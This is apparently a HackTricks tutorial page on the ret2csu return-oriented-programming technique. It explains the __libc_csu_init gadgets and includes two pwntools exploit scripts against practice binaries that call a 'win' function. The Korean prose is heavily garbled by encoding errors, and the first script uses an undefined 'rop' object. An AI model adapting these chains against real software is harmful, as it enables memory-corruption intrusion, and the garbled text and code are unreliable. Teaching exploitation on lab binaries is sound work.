Ret2csu
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
https://www.scs.stanford.edu/brop/bittau-brop.pdf๊ธฐ๋ณธ ์ ๋ณด
ret2csu๋ ํ๋ก๊ทธ๋จ์ ์ ์ดํ๋ ค๊ณ ํ ๋ ์ผ๋ฐ์ ์ผ๋ก ํ๋ก๊ทธ๋จ์ ๋์์ ์กฐ์ํ๋ ๋ฐ ์ฌ์ฉํ๋ gadgets๋ฅผ ์ฐพ์ ์ ์์ ๋ ์ฌ์ฉ๋๋ ํดํน ๊ธฐ์ ์ ๋๋ค.
ํ๋ก๊ทธ๋จ์ด ํน์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ(์: libc)๋ฅผ ์ฌ์ฉํ ๋, ํ๋ก๊ทธ๋จ์ ๋ค์ํ ๋ถ๋ถ์ด ์๋ก ํต์ ํ๋ ๋ฐฉ์์ ๊ด๋ฆฌํ๊ธฐ ์ํ ๋ช ๊ฐ์ง ๋ด์ฅ ํจ์๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ํจ์ ์ค์๋ ์ฐ๋ฆฌ๊ฐ ์์ด๋ฒ๋ฆฐ gadgets ์ญํ ์ ํ ์ ์๋ ์จ๊ฒจ์ง ๋ณด์๋ค์ด ์์ผ๋ฉฐ, ํนํ __libc_csu_init์ด๋ผ๋ ํจ์๊ฐ ์์ต๋๋ค.
__libc_csu_init์ ๋ง๋ฒ์ Gadgets
**__libc_csu_init**์๋ ๊ฐ์กฐํ ๋ ๊ฐ์ ๋ช
๋ น์ด ์ํ์ค(gadgets)๊ฐ ์์ต๋๋ค:
- ์ฒซ ๋ฒ์งธ ์ํ์ค๋ ์ฌ๋ฌ ๋ ์ง์คํฐ(rbx, rbp, r12, r13, r14, r15)์ ๊ฐ์ ์ค์ ํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ค์ ๋์ค์ ์ฌ์ฉํ๊ณ ์ถ์ ์ซ์๋ ์ฃผ์๋ฅผ ์ ์ฅํ ์ ์๋ ์ฌ๋กฏ๊ณผ ๊ฐ์ต๋๋ค.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
์ด ์ฅ์น๋ ์คํ์์ ๊ฐ์ ๊บผ๋ด์ด ์ด๋ฌํ ๋ ์ง์คํฐ๋ฅผ ์ ์ดํ ์ ์๊ฒ ํด์ค๋๋ค.
- ๋ ๋ฒ์งธ ์ํ์ค๋ ์ฐ๋ฆฌ๊ฐ ์ค์ ํ ๊ฐ์ ์ฌ์ฉํ์ฌ ๋ช ๊ฐ์ง ์์ ์ ์ํํฉ๋๋ค:
- ํน์ ๊ฐ์ ๋ค๋ฅธ ๋ ์ง์คํฐ๋ก ์ด๋์์ผ ํจ์์ ๋งค๊ฐ๋ณ์๋ก ์ฌ์ฉํ ์ค๋น๋ฅผ ํฉ๋๋ค.
- r15์ rbx์ ๊ฐ์ ๋ํ ํ rbx์ 8์ ๊ณฑํ์ฌ ๊ฒฐ์ ๋ ์์น๋ก ํธ์ถ์ ์ํํฉ๋๋ค.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
- ์๋ง๋ ๊ฑฐ๊ธฐ์ ์ธ ์ฃผ์๋ฅผ ๋ชจ๋ฅผ ๊ฒ์ด๊ณ
ret๋ช ๋ น์ด๊ฐ ํ์ํฉ๋๋ค. ๋ ๋ฒ์งธ ๊ฐ์ ฏ๋ret๋ก ๋๋์ง๋ง, ๊ทธ๊ฒ์ ๋๋ฌํ๊ธฐ ์ํด์๋ ๋ช ๊ฐ์ง ์กฐ๊ฑด์ ์ถฉ์กฑํด์ผ ํฉ๋๋ค:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
์กฐ๊ฑด์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
[r12 + rbx*8]๋ ํธ์ถ ๊ฐ๋ฅํ ํจ์๊ฐ ์ ์ฅ๋ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌ์ผ์ผ ํฉ๋๋ค (์์ด๋์ด๊ฐ ์๊ณ PIE๊ฐ ์๋ค๋ฉด, ๊ทธ๋ฅ_initํจ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค):_init์ด0x400560์ ์๋ค๋ฉด, GEF๋ฅผ ์ฌ์ฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ์์ ๊ทธ์ ๋ํ ํฌ์ธํฐ๋ฅผ ๊ฒ์ํ๊ณ[r12 + rbx*8]๊ฐ_init์ ๋ํ ํฌ์ธํฐ๊ฐ ์๋ ์ฃผ์๊ฐ ๋๋๋ก ํฉ๋๋ค:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gefโค search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 โ "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 โ "\x60\x05\x40[...]"
rbp์rbx๋ ์ ํ๋ฅผ ํผํ๊ธฐ ์ํด ๋์ผํ ๊ฐ์ ๊ฐ์ ธ์ผ ํฉ๋๋ค.- ๊ณ ๋ คํด์ผ ํ ์๋ต๋ pop์ด ์์ต๋๋ค.
RDI ๋ฐ RSI
ret2csu ๊ฐ์ ฏ์์ **rdi**์ **rsi**๋ฅผ ์ ์ดํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ํน์ ์คํ์
์ ์ ๊ทผํ๋ ๊ฒ์
๋๋ค:
 (1) (1) (1) (1) (1) (1) (1).png)
์์ธํ ์ ๋ณด๋ ์ด ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
BROP - Blind Return Oriented Programming
์์
ํธ์ถ ์ฌ์ฉ
syscall์ ํ๊ฑฐ๋ write()์ ๊ฐ์ ํจ์๋ฅผ ํธ์ถํ๊ณ ์ถ์ง๋ง rdx์ rsi ๋ ์ง์คํฐ์ ํน์ ๊ฐ์ด ํ์ํ๋ค๊ณ ๊ฐ์ ํด ๋ณด์ธ์. ์ผ๋ฐ์ ์ผ๋ก ์ด๋ฌํ ๋ ์ง์คํฐ๋ฅผ ์ง์ ์ค์ ํ๋ ๊ฐ์ ฏ์ ์ฐพ๊ฒ ์ง๋ง, ์ฐพ์ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์ ret2csu๊ฐ ๋ฑ์ฅํฉ๋๋ค:
- ๋ ์ง์คํฐ ์ค์ : ์ฒซ ๋ฒ์งธ ๋งค์ง ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ์คํ์์ ๊ฐ์ popํ์ฌ rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15์ ๋ฃ์ต๋๋ค.
- ๋ ๋ฒ์งธ ๊ฐ์ ฏ ์ฌ์ฉ: ์ด๋ฌํ ๋ ์ง์คํฐ๊ฐ ์ค์ ๋๋ฉด ๋ ๋ฒ์งธ ๊ฐ์ ฏ์ ์ฌ์ฉํฉ๋๋ค. ์ด๋ฅผ ํตํด ์ ํํ ๊ฐ์
rdx์rsi(๊ฐ๊ฐ r14์ r13์์)๋ก ์ด๋์์ผ ํจ์ ํธ์ถ์ ์ํ ๋งค๊ฐ๋ณ์๋ฅผ ์ค๋นํฉ๋๋ค. ๋ํr15์rbx๋ฅผ ์ ์ดํ์ฌ ํ๋ก๊ทธ๋จ์ด ๊ณ์ฐํ ์ฃผ์์ ์๋ ํจ์๋ฅผ ํธ์ถํ๋๋ก ํ ์ ์์ต๋๋ค. ์ด ์ฃผ์๋[r15 + rbx*8]์ ๋ฐฐ์น๋ฉ๋๋ค.
์ด ๊ธฐ์ ์ ์ฌ์ฉํ ์์์ ์ค๋ช ์ด ์ฌ๊ธฐ ์์ต๋๋ค, ๊ทธ๋ฆฌ๊ณ ์ด๊ฒ์ด ์ฌ์ฉ๋ ์ต์ข ์ต์คํ๋ก์์ ๋๋ค:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
Warning
์ด์ ์ต์คํ๋ก์์ **
RCE**๋ฅผ ์ํํ๊ธฐ ์ํ ๊ฒ์ด ์๋๋ผ, **win**์ด๋ผ๋ ํจ์๋ฅผ ํธ์ถํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค (ROP ์ฒด์ธ์์ stdin ํธ์ถ์ ํตํดwin์ ์ฃผ์๋ฅผ ๊ฐ์ ธ์ r15์ ์ ์ฅํจ) ์ธ ๋ฒ์งธ ์ธ์๋ก ๊ฐ0xdeadbeefcafed00d๋ฅผ ์ฌ์ฉํฉ๋๋ค.
ํธ์ถ ์ฐํ ๋ฐ ret ๋๋ฌ
๋ค์ ์ต์คํ๋ก์์ ์ด ํ์ด์ง์์ ์ถ์ถ๋์์ผ๋ฉฐ, ์ฌ๊ธฐ์ ret2csu๊ฐ ์ฌ์ฉ๋์ง๋ง ํธ์ถ์ ์ฌ์ฉํ๋ ๋์ ๋น๊ต๋ฅผ ์ฐํํ๊ณ ํธ์ถ ํ ret์ ๋๋ฌํฉ๋๋ค:
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
from pwn import *
# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b * 0x4007b0')
# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)
# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)
# Padding from start of input to saved return address
payload = "0"*0x28
# Our first gadget, and the values to be popped from the stack
# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX
# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15
# Finally the address of ret2win
payload += ret2win
# Send the payload
target.sendline(payload)
target.interactive()
Why Not Just Use libc Directly?
๋ณดํต ์ด๋ฌํ ๊ฒฝ์ฐ๋ ret2plt + ret2lib์๋ ์ทจ์ฝํ์ง๋ง, ๋๋๋ก libc์์ ์ง์ ์ฐพ์ ๊ฐ์ ฏ์ผ๋ก ์ฝ๊ฒ ์ ์ดํ ์ ์๋ ๊ฒ๋ณด๋ค ๋ ๋ง์ ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ดํด์ผ ํ ํ์๊ฐ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, write() ํจ์๋ ์ธ ๊ฐ์ ๋งค๊ฐ๋ณ์๋ฅผ ํ์๋ก ํ๋ฉฐ, ์ด ๋ชจ๋ ๊ฒ์ ์ง์ ์ค์ ํ ๊ฐ์ ฏ์ ์ฐพ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


